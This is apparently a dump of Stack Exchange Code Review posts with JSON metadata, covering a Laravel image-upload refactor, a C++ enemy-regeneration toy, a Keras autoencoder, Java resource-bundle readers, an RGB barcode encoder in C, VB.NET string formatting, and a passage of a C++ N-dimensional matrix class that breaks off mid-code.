"asp.net"
],
"Title": ".Net 5.0 Get User Email From Claims"
}
|
260183
|
<p>I am working on a project, the previous programmer used this method to save photos, videos, etc.</p>
<pre><code> if (empty($data['large_image'])) {
$large_image = $article->large_image;} else {
if ($request->hasFile('large_image')) {
//uploads
$cover_img_large = $data['cover_img_large'];
//echo '<pre>'; print_r($cover_path);die;
if (file_exists($cover_img_large)) {
unlink($cover_img_large);
}
$image_path = $data['large_image'];
$extension = $image_path->getClientOriginalExtension();
$New_path = rand(111111, 999999999) . '.' . $extension;
$path_path = 'upload/articles' . '/' . 'large' . '/';
$large_image = $path_path . $New_path;
if (!File::isDirectory($path_path)) {
File::makeDirectory($path_path, $mode = 0777, true, true);
}
Image::make($image_path)->resize(800, 460)->save($large_image);
//upoload
}}
</code></pre>
<p>I intend to use this method, which is close to the structure of the strategy design pattern.</p>
<pre><code>interface Image{
public function image($model,$nameInput,$path);}
class saveArticle implements Image{
private $local_path="upload/articles/";
public function image($model,$nameInput,$path){
$request = new Request();
$data = $request->all();
$path = $this->local_path.$path.'/';
if (empty($data[$nameInput])) {
return $model->large_image;
} else {
if ($request->hasFile($nameInput)) {
$image_path = $data[$nameInput];
$extension = $image_path->getClientOriginalExtension();
$New_path = rand(111111, 999999999) . '.' . $extension;
$name_image = $path . $New_path;
if (!File::isDirectory($path)) {
File::makeDirectory($path, $mode = 0777, true, true);
}
Image::make($image_path)->resize(800, 460)->save($name_image);
return $name_image;
}
}
}}
</code></pre>
<p>When I use this method, I have a very simple time to use it and like the following code, I can store information with only one line.</p>
<pre><code>$article = Article::find(1);
$save = new saveArticle();
$save->image($article,'image_large','large');
</code></pre>
<p>I have an easier task to develop the code and I can use the same method to add a movie or podcast and just add a new interface.
What is your opinion? Do you think this is the right way? Thank you for guiding me. Your comments are valuable to me.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T14:35:38.357",
"Id": "513604",
"Score": "0",
"body": "Welcome to Code Review! Is the first snippet part of a controller method? could you please [edit] to include more code - e.g. it might help reviewers to know where `$request`, `$data` come from (even if it is method parameters)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T10:41:59.150",
"Id": "513656",
"Score": "0",
"body": "First and foremost, you never check the MIME type of the file allowing any filetype to be uploaded. Furthermore, You do not show what `File::makeDirectory()` does. I hope there is no sys calls because you never escape anything that comes from the data to protect from any arbitrary command injections."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T08:52:14.660",
"Id": "260185",
"Score": "3",
"Tags": [
"php",
"comparative-review",
"laravel"
],
"Title": "class uploade file(photo,video,..) laravel"
}
|
260185
|
<p>Small project i made to practice my c++, im a beginner and want to know all about optimizing code.</p>
<p>Enemy starts off with 10 HP and we can damage them for 1 HP by pressing F1,
If their HP is below their max they regenerate 1 point each second.</p>
<pre><code>#include <time.h>
#include <Windows.h>
#include <iostream>
using namespace std;
int main()
{
int maxHP = 10;
int enemyHp = maxHP;
cout << "Enemy HP: " << enemyHp << '\n';
while (enemyHp > 0)
{
if (GetAsyncKeyState(VK_F1) & 1)
{
enemyHp--;
system("CLS");
cout << enemyHp << '\n';
}
static int sec = time(NULL);
int secNew = time(NULL);
int* secPtr = &sec;
if (sec != secNew)
{
if (enemyHp < maxHP)
{
enemyHp++;
system("CLS");
cout << enemyHp << '\n';
}
*secPtr = secNew;
}
if (enemyHp == 0)
{
system("CLS");
cout << "Enemy has died.\n";
}
}
return 0;
}
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Don't write <code>using namespace std;</code>.</p>\n<p><code>maxHP</code> should be <code>constexpr</code> or at least <code>const</code>. In general, use <code>const</code> where you can.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:50:02.457",
"Id": "260200",
"ParentId": "260186",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T09:13:32.533",
"Id": "260186",
"Score": "1",
"Tags": [
"c++",
"beginner",
"windows"
],
"Title": "Enemy damaging with regen system"
}
|
260186
|
<p>I have a dataset which I divided into two sections horizontally. Column A of first section is the input variable and Column A of second section is the target variable. I am trying to build a Denoising Autoencoder that is trained using the target variable. Column A consists of string values which are one-hot encoded before giving it into the autoencoder. This is what I have done:</p>
<pre><code># Import Libraries
import pandas as pd
import numpy as np
from numpy import array
from numpy import argmax
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from keras.models import Model
from keras.layers import Dense, Input
from keras.optimizers import Adam
# Load Dataset
df = pd.read_csv('dataset.csv', index_col=0)
# Divide dataset into sections
section_1 = df[df['D'] == 'Safe']
section_1 = section_1.head(100)
section_2 = df[df['D'] == 'Unsafe']
section_2 = section_2.head(100)
# One-Hot Encode values of Column A
target_values = array(section_2['A'])
input_values = array(section_1['A'])
# integer encode
label_encoder = LabelEncoder()
target_integer_encoded = label_encoder.fit_transform(target_values)
input_integer_encoded = label_encoder.fit_transform(input_values)
# binary encode
onehot_encoder = OneHotEncoder(sparse=False)
target_integer_encoded = target_integer_encoded.reshape(len(target_integer_encoded), 1)
input_integer_encoded = input_integer_encoded.reshape(len(input_integer_encoded), 1)
onehot_encoded_target = onehot_encoder.fit_transform(target_integer_encoded)
onehot_encoded_input = onehot_encoder.fit_transform(input_integer_encoded)
# Setup train and test sets
x_train, y_train = train_test_split(onehot_encoded_target, train_size=0.50)
x_test, y_test = train_test_split(onehot_encoded_input, test_size=0.50)
x_test = np.hstack((x_test, np.tile(x_test[:, [-1]], 3))) # Replicated the last column of x_test so it will be in same shape as x_train and y_train
print(x_train.shape, y_train.shape, x_test.shape) # (50, 95), (50, 95), (50, 95)
# Setup the Autoencoder
input_size = 95
hidden_size = 128
code_size = 32
input_values = Input(shape=(input_size,))
hidden_1 = Dense(hidden_size, activation='relu')(input_values)
code = Dense(code_size, activation='relu')(hidden_1)
hidden_2 = Dense(hidden_size, activation='relu')(code)
output_values = Dense(input_size, activation='sigmoid')(hidden_2)
autoencoder = Model(input_values, output_values)
autoencoder.compile(optimizer='adam', loss='binary_crossentropy')
autoencoder.fit(x_train, y_train, epochs=100)
# Predict the values
ypred = autoencoder.predict(x_test)
# Evaluate the model
print("MAE test score:", mean_absolute_error(y_test, ypred)) # MAE test score: 0.026
print("RMSE test score:", sqrt(mean_squared_error(y_test, ypred))) # RMSE test score: 0.103
</code></pre>
<p>I am very new to machine learning and I would like to know whether the logic I have written above is correct or not. Any feedback is appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T12:06:35.470",
"Id": "513585",
"Score": "0",
"body": "Have you done some testing? Does it seem to work correctly, as far as you can tell? It's worth telling us how you tested, as that can give clues to what you might have overlooked."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T12:51:42.210",
"Id": "513599",
"Score": "1",
"body": "@Toby Speight, Thank you for the reply. I have added how I evaluated the model at the end. Please check the edits!"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T09:54:05.417",
"Id": "260187",
"Score": "0",
"Tags": [
"python",
"pandas",
"machine-learning",
"keras"
],
"Title": "Keras: Using Autoencoders for prediction"
}
|
260187
|
<p>I have class structure to read the data from resource bundle (property files).</p>
<pre><code>import java.util.Locale;
import java.util.Objects;
import java.util.ResourceBundle;
/**
* The class will be used to read the resource bundle to achieve localization
* and internationalization
*
*/
public class ResourceBundleReader {
private String resourceBundle = null;
/**
* Constructor of the class
*
* @param resourceBundle
* @throws NullPointerException
* if resourceBundle is null
*/
public ResourceBundleReader(final String resourceBundle) {
Objects.requireNonNull(resourceBundle);
this.resourceBundle = resourceBundle;
}
/**
* Return message by input key for default locale
*
* @param key
* @return
*/
public String getMessage(final String key) {
return getMessage(key, Locale.getDefault());
}
/**
* Return message by input key for input locale locale
*
* @param key
* @return
*/
public String getMessage(final String key, final Locale locale) {
final ResourceBundle mybundle = ResourceBundle.getBundle(resourceBundle, locale);
return mybundle.getString(key);
}
}
</code></pre>
<p>As there are multiple type of resource bundles, I have created individual implementation for that. For example below two:</p>
<p><strong>Exception Message:</strong></p>
<pre><code>public final class ExceptionMessageResolver {
private static final String EXCEPTION_MESSAGES_RESOURCE = "exceptionmessages"; //$NON-NLS-1$
private static final ResourceBundleReader RESOURCE_BUNDLE_READER = new ResourceBundleReader(
EXCEPTION_MESSAGES_RESOURCE);
/**
* Private constructor to prevent instantiation Constructor of the class
*/
private ExceptionMessageResolver() {
super();
}
/**
* return exception message by default locale
*
* @param key
* @return
*/
public static String getMessage(final String key) {
return getMessage(key, Locale.getDefault());
}
/**
* Return exception message for input locale
*
* @param key
* @param locale
* @return
*/
public static String getMessage(final String key, final Locale locale) {
return RESOURCE_BUNDLE_READER.getMessage(key, locale);
}
}
</code></pre>
<p><strong>Label Messages:</strong></p>
<pre><code>public final class ResourceLabelResolver {
private static final String LABEL_RESOURCE = "resourcelabels"; //$NON-NLS-1$
private static final ResourceBundleReader RESOURCE_BUNDLE_READER = new ResourceBundleReader(LABEL_RESOURCE);
/**
* Private constructor to prevent instantiation Constructor of the class
*/
private ResourceLabelResolver() {
super();
}
/**
* return label message by default locale
*
* @param key
* @return
*/
public static String getMessage(final String key) {
return getMessage(key, Locale.getDefault());
}
/**
* Return label message for input locale
*
* @param key
* @param locale
* @return
*/
public static String getMessage(final String key, final Locale locale) {
return RESOURCE_BUNDLE_READER.getMessage(key, locale);
}
}
</code></pre>
<p>Is there any more elegant way for this? Or any way to create abase class for my two readers to prevent duplicate methods in code?</p>
|
[] |
[
{
"body": "<p>I don't see the need to implement sub classes in your code example above. You need inheritance only if you add specific implementation on the sub class. All you need is to create an interface to encapsulate the resolver (<code>IResourceBundle</code>) for abstraction, then create a factory for them.</p>\n<pre><code>public interface IResourceBundle {\n String getMessage(final String key);\n String getMessage(final String key, final Locale locale);\n}\n\npublic enum ResourceBundles {\n EXCEPTION_MESSAGE("exceptionmessages"),\n LABEL("resourcelabels"); \n private String bundleName;\n private ResourceBundles(String name) {\n bundleName = name;\n }\n public String toString() {\n return bundleName;\n }\n}\n\npublic final class ResourceResolverFactory {\n private Map<ResourceBundles, IResourceBundle> resolvers;\n private ResourceResolverFactory() {\n resolvers = new HashMap<ResourceBundles, IResourceBundle>();\n }\n public IResourceBundle getBundle(final ResourceBundles resourceBundle) {\n IResourceBundle resolver = resolvers.get(resourceBundle);\n if(resolver != null) {\n return resolver;\n }\n resolver = new ResourceBundleReader(resourceBundle.toString());\n resolvers.put(resourceBundle, resolver);\n return resolver;\n }\n private static final ResourceResolverFactory instance = new ResourceResolverFactory();\n public static ResourceResolverFactory getInstance() {\n return instance;\n }\n}\n\npublic class ResourceBundleReader implements IResourceBundle {\n private String resourceBundle = null;\n public ResourceBundleReader(final String resourceBundle) {\n Objects.requireNonNull(resourceBundle);\n this.resourceBundle = resourceBundle;\n }\n public String getMessage(final String key) {\n return getMessage(key, Locale.getDefault());\n }\n public String getMessage(final String key, final Locale locale) {\n final ResourceBundle mybundle = ResourceBundle.getBundle(resourceBundle, locale);\n return mybundle.getString(key);\n }\n}\n\npublic class Main {\n public static void main(String[] args) {\n ResourceResolverFactory factory = ResourceResolverFactory.getInstance();\n IResourceBundle exceptionMessageResolver = factory.getBundle(ResourceBundles.EXCEPTION_MESSAGES_RESOURCE); \n // do something with exceptionMessageResolver\n IResourceBundle labelResolver = factory.getBundle(ResourceBundles.EXCEPTION_MESSAGES_RESOURCE);\n // do something with labelResolver\n }\n}\n</code></pre>\n<p>In this case, adding more resource bundle means adding new enum in <code>ResourceBundles</code> not introducing new sub-class.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T07:57:15.960",
"Id": "513791",
"Score": "0",
"body": "Thanks a lot for providing the solution. I don't want the user to call factory method again and again, so want the dedicated implementation class. As this code will be called very frequently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T12:44:53.140",
"Id": "513802",
"Score": "0",
"body": "It doesn't have to be factory method, you can register at register it with keyed dependency injection if there's any framework to do that in java (I'm not a java dev, so my knowledge is very limited). But if you prefer a sub class approach, then you can use template design pattern: `public class ExceptionMessageResolver extends ResourceBundleReader { public ExceptionMessageResolver(){super(resourceBundle.toString())} }`, that way you don't have to implement the same methods over and over again on every sub class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T11:33:37.647",
"Id": "513884",
"Score": "0",
"body": "1. Given the usage, `String getMessage(final String key);` should actually be `default String getMessage(String key) { return getMessage(key, Locale.getDefault()); }` 2. The default enum `toString()` should not be changed, instead create `bundleName()` to return the bundle name. 3. `ResourceResolverFactory::getBundle` can be simplified as `return resolvers.computeIfAbsent(resourceBundle, (rb) -> new ResourceBundleReader(rb.bundleName()));` 4. Why name `IResourceBundle`? This is Java not C#, in Java, interfaces shouldn't be prefixed with `I`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T11:34:39.007",
"Id": "513885",
"Score": "0",
"body": "5. `ResourceBundleReader` shouldn't use call `ResourceBundle.getBundle` for every call, but rather cache the bundles. 6. If something is a resolver, call it `AbcResolver`, not `IResourceBundle`. It's not a resource bundle, but a resolver."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T04:38:53.110",
"Id": "513970",
"Score": "0",
"body": "Thanks for the input. And yes I'm c# dev, so I'm sorry for not following to the naming convention and best practice of java programming language. I'd suggest to post new answer as well with the code to help the original poster."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T09:36:30.147",
"Id": "260223",
"ParentId": "260193",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T12:21:00.790",
"Id": "260193",
"Score": "1",
"Tags": [
"java",
"inheritance"
],
"Title": "Reading data from multiple different resource bundle property files in Java"
}
|
260193
|
<p>Similar to <a href="https://en.wikipedia.org/wiki/High_Capacity_Color_Barcode" rel="nofollow noreferrer">Microsoft's HCCB</a> before its discontinuation near 2015, Im trying to make a 2D barcode that uses RGB pixels to encode more than two possible states (Black/White).</p>
<p>Theoretically, at 100% data capacity, you could hold <strong>16,777,216</strong> different integers in a single pixel.
However, this level of storage is not feasible.</p>
<hr />
<p>Consider the two RGB colors <code>47,213,71</code> and <code>47,213,72</code>:</p>
<p><a href="https://i.stack.imgur.com/SWaKr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SWaKr.png" alt="demonstration of two neighboring rgb values" /></a></p>
<p>This unperceivable difference would have to be detected reliably even in suboptimal environments and lighting.</p>
<p>This is why Microsoft's HCCB only used 8 pre-determined colors, but I hypothesize modern cameras would still allow for greater detection and accuracy.</p>
<hr />
<p>I wanted a barcode where you could change the gaps between colors, such that no two neighboring colors were less distant than the amount specified.</p>
<p>This way, a large gap like 128 could make each pixel represent a possible total of 8 colors - like Microsoft's original HCCB; While a small gap like 1 would give you the aforementioned 16,777,216 colors.</p>
<p>Now that I've finished explaining why <em>anyone would want to do this</em>, I can show you my C code. I'm not sure I did a good job at this, and I feel as though either my method or execution should be changed completely, so here's my approach to doing this</p>
<pre><code>#include <stdio.h>
#include <stdint.h>
uint8_t* bind(uint32_t val, uint8_t bound){
static uint8_t rgb[3];
uint32_t buffer[3];
uint32_t max = bound*(256/bound);
buffer[0] = val * bound;
buffer[1] = (buffer[0]/max)*bound;
buffer[2] = (buffer[1]/max)*bound;
rgb[0] = buffer[0] % max;
rgb[1] = buffer[1] % max;
rgb[2] = buffer[2] % max;
return rgb;
}
uint32_t unbind(uint8_t* rgb, uint8_t bound){
uint32_t max = 256/bound;
return (rgb[0]/bound)+(rgb[1]/bound)*max+(rgb[2]/bound)*max*max;
}
int main(void) {
uint32_t data = 1;
uint8_t color_range = 128;
uint8_t* colors = bind(data, color_range);
uint32_t calculated = unbind(colors, color_range);
printf("expected value: %u\nreturned value: %u\n\n", data, calculated);
printf("rgb value: %u,%u,%u\n", colors[0], colors[1], colors[2]);
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:03:23.037",
"Id": "513610",
"Score": "0",
"body": "8 bits per channel is an arbitrary assumption - many printers and monitors support 10 bits or more (not that any more than 5 is likely to be reliably differentiated for data encoding)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:24:32.310",
"Id": "513612",
"Score": "0",
"body": "This is true, however i felt that since higher bit depths can always be converted down and not vice-versa, 8 bit would be more suitable for a wider range of applications. Also, Its easier to represent 3, 8-bit values in C rather than 3-10 bit values."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T21:18:43.380",
"Id": "513630",
"Score": "0",
"body": "I can't comment on the code, but from a practical point of view keep in mind that when displaying this barcode wherever, be it on a screen or printed somewhere, versions might differ from each other based on how the screen or printer is calibrated and lighting conditions."
}
] |
[
{
"body": "<p>This:</p>\n<pre><code>static uint8_t rgb[3];\nreturn rgb;\n</code></pre>\n<p>is a problem. Two different callers assuming to have two different copies of the return array will actually only have one, and that breaks re-entrance. Better off to return by value instead of return by reference in this case - particularly if you make a utility struct. A common pattern is to <code>union</code> over a three-element array and a nested struct of red, green and blue components. To ensure that this is valid, you'll need to tell your compiler to use tight packing, typically with <code>#pragma pack</code>. If you have misgivings on the portability of this approach and you need to support multiple exotic compilers, you'll need to ditch the <code>union</code> and instead write a conversion function.</p>\n<p><code>bind</code> and <code>unbind</code> can both be marked <code>static</code> since they're in the same translation unit.</p>\n<p>The only other minor thing I see here is that two-space indentation is somewhat non-standard, and 4-space will be more legible.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:04:19.667",
"Id": "513622",
"Score": "0",
"body": "could i make it take an array pointer `rgb` as an argument and make the function itself return void?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:43:55.980",
"Id": "513625",
"Score": "0",
"body": "Yes, that's also possible."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T16:02:51.643",
"Id": "260201",
"ParentId": "260194",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T12:50:24.300",
"Id": "260194",
"Score": "3",
"Tags": [
"c"
],
"Title": "Making pixels of RGB barcode suitable for scanning"
}
|
260194
|
<p>My requirement is to format the input values to a particular format as "##.###/##.###"
Example - My input value can have alphabets, alphanumeric, numeric</p>
<ol>
<li>Expired -- > if alphabet, output as three space</li>
<li>2 --> only numeric, add "/" + "0" to format as "##.###/##.###"</li>
<li>3/2 --> "##.###/##.###"</li>
<li>0.2/3.4 --- "##.###/##.###"</li>
</ol>
<p>The below code is working and getting expected results. Is there any better way to avoid multiple if conditions</p>
<pre><code> Dim input As String = KeyValueDictionary.Item(DictionaryKeyNames.input).ToString()
If Regex.IsMatch(input, "^[a-za-z ]+$") Then
input = " "
ElseIf IsNumeric(input) Then
input = input + "/" + "0"
input = String.Join("/", input.Split("/").[Select](Function(s) Decimal.Parse(s).ToString("00.000")))
ElseIf Regex.IsMatch(input, "^[0-9/.]+$") Then
input = String.Join("/", input.Split("/").[Select](Function(s) Decimal.Parse(s).ToString("00.000")))
End If
</code></pre>
|
[] |
[
{
"body": "<p>You don't need to use <code>Regex</code> for this, and your regex doesn't cover most of cases anyway. You can simply splitting the input and try parse them into decimals. If they contains any invalid inputs then return three spaces (<code>" "</code>) otherwise print it in <code>"00.000/00.000"</code> format.</p>\n<pre><code>Function StringFormatting(input As String) As String\n Dim parts = input?.Split("/").Select(\n Function(s)\n Dim val As Decimal\n Return If(Decimal.TryParse(s, val), CType(val, Decimal?), Nothing)\n End Function).ToList()\n\n If parts Is Nothing OrElse parts.Count > 2 OrElse parts.Any(Function(v) v Is Nothing) Then\n Return " "\n End If\n\n Return $"{parts(0):00.000}/{If(parts.Count = 2, parts(1), 0):00.000}"\nEnd Function\n</code></pre>\n<p>Please note that the code above is assuming that the input would be a short text and with just couple of <code>'/'</code> at worst, otherwise I'd suggest to restructure them to check for <code>parts Is Nothing OrElse parts.Count > 2</code> first before trying to parse them into decimal to prevent unnecessary process.</p>\n<p>Test cases:</p>\n<ul>\n<li><code>"2"</code> => <code>"02.000/00.000"</code></li>\n<li><code>"3/2"</code> => <code>"03.000/02.000"</code></li>\n<li><code>"0.2/3.4"</code> => <code>"00.200/03.400"</code></li>\n<li><code>Nothing</code> => <code>" "</code></li>\n<li><code>""</code> => <code>" "</code></li>\n<li><code>" "</code> => <code>" "</code></li>\n<li><code>"Expired"</code> => <code>" "</code></li>\n<li><code>"/2.1"</code> => <code>" "</code></li>\n<li><code>"1/"</code> => <code>" "</code></li>\n<li><code>"2.3.2"</code> => <code>" "</code></li>\n<li><code>"2/3/2021"</code> => <code>" "</code></li>\n<li><code>"3/Expired"</code> => <code>" "</code></li>\n<li><code>"4/12/Expired"</code> => <code>" "</code></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T03:57:36.423",
"Id": "260214",
"ParentId": "260195",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T13:29:19.073",
"Id": "260195",
"Score": "2",
"Tags": [
"strings",
".net",
"regex",
"vb.net"
],
"Title": "String formatting"
}
|
260195
|
<p>I wrote a N-dim matrix (tensor) class, based on my previous 2D matrix implementation(<a href="https://codereview.stackexchange.com/questions/253908/2d-matrix-in-c20-and-strassens-algorithm">2D Matrix in C++20 and Strassen's algorithm</a>), accepting many helpful reviews from here.</p>
<p>MatrixBase.h</p>
<pre><code>#ifndef FROZENCA_MATRIXBASE_H
#define FROZENCA_MATRIXBASE_H
#include <algorithm>
#include <array>
#include <cassert>
#include <cstddef>
#include <concepts>
#include <functional>
#include <initializer_list>
#include <iostream>
#include <numeric>
#include <stdexcept>
#include <type_traits>
#include <utility>
#include "MatrixUtils.h"
#include "MatrixInitializer.h"
namespace frozenca {
template <typename T, std::regular R, std::size_t N>
class MatrixBase {
public:
static constexpr std::size_t ndim = N;
private:
std::size_t size_;
std::array<std::size_t, N> dims_;
std::array<std::size_t, N> strides_;
protected:
MatrixBase() = delete;
virtual ~MatrixBase() = default;
template <typename... Dims>
explicit MatrixBase(Dims... dims);
MatrixBase(std::size_t size,
const std::array<std::size_t, N> dims,
const std::array<std::size_t, N> strides) : size_ {size}, dims_ {dims}, strides_ {strides} {}
public:
using value_type = R;
using reference = R&;
using const_reference = const R&;
using pointer = R*;
friend void swap(MatrixBase& a, MatrixBase& b) noexcept {
std::swap(a.size_, b.size_);
std::swap(a.dims_, b.dims_);
std::swap(a.strides_, b.strides_);
}
auto begin() { return static_cast<T&>(*this).begin(); }
auto cbegin() const { return static_cast<const T&>(*this).cbegin(); }
auto end() { return static_cast<T&>(*this).end(); }
auto cend() const { return static_cast<const T&>(*this).cend(); }
auto rbegin() { return static_cast<T&>(*this).rbegin(); }
auto crbegin() const { return static_cast<const T&>(*this).crbegin(); }
auto rend() { return static_cast<T&>(*this).rend(); }
auto crend() const { return static_cast<const T&>(*this).crend(); }
template <RequestingElement... Args>
reference operator()(Args... args);
template <RequestingElement... Args>
const_reference operator()(Args... args) const;
reference operator[](const std::array<std::size_t, N>& pos);
const_reference operator[](const std::array<std::size_t, N>& pos) const;
template <std::regular U>
MatrixBase(std::initializer_list<U>) = delete;
template <std::regular U>
MatrixBase& operator=(std::initializer_list<U>) = delete;
MatrixBase(typename MatrixInitializer<R, N>::type init);
[[nodiscard]] std::size_t size() const { return size_;}
[[nodiscard]] const std::array<std::size_t, N>& dims() const {
return dims_;
}
[[nodiscard]] std::size_t dims(std::size_t n) const {
if (n >= N) {
throw std::out_of_range("Out of range in dims");
}
return dims_[n];
}
[[nodiscard]] const std::array<std::size_t, N>& strides() const {
return strides_;
}
[[nodiscard]] std::size_t strides(std::size_t n) const {
if (n >= N) {
throw std::out_of_range("Out of range in strides");
}
return strides_[n];
}
};
template <typename T, std::regular R, std::size_t N>
template <typename... Dims>
MatrixBase<T, R, N>::MatrixBase(Dims... dims) : size_{(... * static_cast<std::size_t>(dims))},
dims_{static_cast<std::size_t>(dims)...} {
static_assert(sizeof...(Dims) == N);
if (std::ranges::find(dims_, 0lu) != std::end(dims_)) {
throw std::invalid_argument("Zero dimension not allowed");
}
strides_ = computeStrides(dims_);
}
template <typename T, std::regular R, std::size_t N>
MatrixBase<T, R, N>::MatrixBase(typename MatrixInitializer<R, N>::type init) {
dims_ = deriveDims<N>(init);
strides_ = computeStrides(dims_);
size_ = strides_[0] * dims_[0];
}
template <typename T, std::regular R, std::size_t N>
template <RequestingElement... Args>
typename MatrixBase<T, R, N>::reference MatrixBase<T, R, N>::operator()(Args... args) {
return const_cast<typename MatrixBase<T, R, N>::reference>(std::as_const(*this).operator()(args...));
}
template <typename T, std::regular R, std::size_t N>
template <RequestingElement... Args>
typename MatrixBase<T, R, N>::const_reference MatrixBase<T, R, N>::operator()(Args... args) const {
static_assert(sizeof...(args) == N);
std::array<std::size_t, N> pos {std::size_t(args)...};
return this->operator[](pos);
}
template <typename T, std::regular R, std::size_t N>
typename MatrixBase<T, R, N>::reference MatrixBase<T, R, N>::operator[](const std::array<std::size_t, N>& pos) {
return const_cast<typename MatrixBase<T, R, N>::reference>(std::as_const(*this).operator[](pos));
}
template <typename T, std::regular R, std::size_t N>
typename MatrixBase<T, R, N>::const_reference MatrixBase<T, R, N>::operator[](const std::array<std::size_t, N>& pos) const {
if (!std::equal(std::cbegin(pos), std::cend(pos), std::cbegin(dims_), std::less<>{})) {
throw std::out_of_range("Out of range in element access");
}
return *(cbegin() + std::inner_product(std::cbegin(pos), std::cend(pos), std::cbegin(strides_), 0lu));
}
} // namespace frozenca
#endif //FROZENCA_MATRIXBASE_H
</code></pre>
<p>Matrix.h</p>
<pre><code>#ifndef FROZENCA_MATRIX_H
#define FROZENCA_MATRIX_H
#include <array>
#include <iterator>
#include <memory>
#include "MatrixBase.h"
#include "MatrixView.h"
#include "MatrixInitializer.h"
namespace frozenca {
template <std::regular T, std::size_t N>
class Matrix final : public MatrixBase<Matrix<T, N>, T, N> {
private:
std::unique_ptr<T[]> data_;
public:
using Base = MatrixBase<Matrix<T, N>, T, N>;
using Base::size;
using Base::dims;
using Base::strides;
template <typename... Dims>
explicit Matrix(Dims... dims);
~Matrix() override = default;
friend void swap(Matrix& a, Matrix& b) noexcept {
swap(static_cast<Base&>(a), static_cast<Base&>(b));
std::swap(a.data_, b.data_);
}
using iterator = T*;
using const_iterator = const T*;
using reverse_iterator = std::reverse_iterator<iterator>;
using const_reverse_iterator = std::reverse_iterator<const_iterator>;
iterator begin() { return &data_[0];}
const_iterator cbegin() const { return &data_[0]; }
iterator end() { return &data_[size()];}
const_iterator cend() const { return &data_[size()];}
reverse_iterator rbegin() { return std::make_reverse_iterator(end());}
const_reverse_iterator crbegin() const { return std::make_reverse_iterator(cend());}
reverse_iterator rend() { return std::make_reverse_iterator(begin());}
const_reverse_iterator crend() const { return std::make_reverse_iterator(cbegin());}
template <typename M, std::regular U>
Matrix(const MatrixBase<M, U, N>&);
template <typename M, std::regular U>
Matrix& operator=(const MatrixBase<M, U, N>&);
Matrix(typename MatrixInitializer<T, N>::type init);
Matrix& operator=(typename MatrixInitializer<T, N>::type init);
MatrixView<T, N> submatrix(const std::array<std::size_t, N>& pos_begin, const std::array<std::size_t, N>& pos_end = dims()) {
if (!std::equal(std::cbegin(pos_begin), std::cend(pos_begin), std::cbegin(pos_end), std::less<>{})) {
throw std::out_of_range("submatrix begin/end position error");
}
std::array<std::size_t, N> view_dims;
std::transform(std::cbegin(pos_end), std::cend(pos_end), std::cbegin(pos_begin), std::begin(view_dims), std::minus<>{});
std::size_t view_size = std::accumulate(std::cbegin(view_dims), std::cend(view_dims), 1lu, std::multiplies<>{});
MatrixView<T, N> view (view_size, view_dims, strides(), &this->operator[](pos_begin));
return view;
}
};
template <std::regular T, std::size_t N>
template <typename... Dims>
Matrix<T, N>::Matrix(Dims... dims) : Base(dims...), data_(std::make_unique<T[]>(size())) {
}
template <std::regular T, std::size_t N>
Matrix<T, N>::Matrix(typename MatrixInitializer<T, N>::type init) : Base(init),
data_(std::make_unique<T[]>(size())) {
insertFlat(data_, init);
}
template <std::regular T, std::size_t N>
Matrix<T, N>& Matrix<T, N>::operator=(typename MatrixInitializer<T, N>::type init) {
Matrix<T, N> mat(init);
swap(*this, mat);
return *this;
}
} // namespace frozenca
#endif //FROZENCA_MATRIX_H
</code></pre>
<p>MatrixView.h</p>
<pre><code>#ifndef FROZENCA_MATRIXVIEW_H
#define FROZENCA_MATRIXVIEW_H
#include <compare>
#include "MatrixBase.h"
namespace frozenca {
template <std::regular T, std::size_t N>
class MatrixView final : public MatrixBase<MatrixView<T, N>, T, N> {
private:
T* data_view_;
std::array<std::size_t, N> view_strides_;
public:
using Base = MatrixBase<MatrixView<T, N>, T, N>;
using Base::size;
using Base::dims;
using Base::strides;
explicit MatrixView(std::size_t size,
